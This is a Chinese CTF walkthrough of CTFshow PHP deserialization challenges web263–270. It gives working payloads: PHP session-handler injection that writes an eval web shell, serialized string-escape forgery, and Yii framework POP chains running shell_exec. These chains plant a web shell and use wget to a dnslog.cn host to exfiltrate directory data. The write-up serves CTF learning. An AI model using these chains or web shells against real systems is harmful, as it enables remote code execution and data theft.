web263  

PHP的session反序列化 

带你走进PHP session反序列化漏洞 - 先知社区  原理解释不错
CTFshow-web入门-反序列化_哔哩哔哩_bilibili

 可参考CTFshow 反序列化 web263_Kradress的博客-CSDN博客

 

在index.php中

if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{

$_SESSION['limit']的键值写错了,那就可以通过COOKIE来控制$_SESSION['limit']的值,从而进行当前页面的反序列化

在check.php中,引用了inc.php

require_once 'inc/inc.php';

在inc.php中出现关键函数

可以写入文件 构造payload

ini_set('session.serialize_handler', 'php');
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

开始构造payload:
从关键的user类开始下手

<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }

}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$_SESSION['user']= $user;

默认是php控制器 ,有| 

user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}

用php_serialize控制器 

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}}

index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化了的,check.php和inc/inc.php的session.serialize_handler为php,而且用了session_start(),可以读取session文件进行反序列化操作

正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入| 的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

在本地构造一下,可以通过base64编码后在index.php页面传入cookie中的limit,让序列化的结果以php_serialize的方式存储进去

<?php
//ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }

}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$_SESSION['user']= $user;

echo urlencode(base64_encode('|'.serialize($user)));

 index.php 存入cookie如下 然后访问check.php 成功写入shell

 然后访问log-1.php,发现成功

 直接rce

 

web264  

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

可以看出来了是字符逃逸,需要把$token的值变成admin,与262大同小异,直接搓个payload

结果显示loveU对应4个字符,所以成功逃逸一个字符

 要想反序列化成功,必学字符数量与真实字符数相等,平白无故插入27个字符就需要27个fuck来构造出27个loveU

payload 

http://e5693f75-bba7-427f-9ea3-be3d19577062.challenge.ctf.show/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 

 然后访问message.php根据要求提交一个cookie

 

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

需要满足$this->token===$this->password 

token是随机数的md5值,password我们可控,

要想使其相等,可以让$this->password 指向 $this->token 的地址,这样就满足相等

 

web266

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了

 

web267

yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点

 payload: ?r=backdoor/shell&code=poc

poc:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';  //控制函数
            $this->id = '1'; //控制括号里的内容
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

控制函数和内容可以写shell

没办法输出内容,可以尝试dns带外找到index.php所在目录

$this->checkAccess = 'shell_exec';  
$this->id = 'wget `pwd|base64`.9id0uy.dnslog.cn'; 

然后将命令写入php文件里

$this->checkAccess = 'shell_exec';  
$this->id = "echo '<?php eval(\$_POST[1]); ?>' > /var/www/html/basic/web/1.php"; 

访问1.php进行rce

web268~270

yii反序列化第二个链子

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php");
    echo(base64_encode(serialize($exp)));
}

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐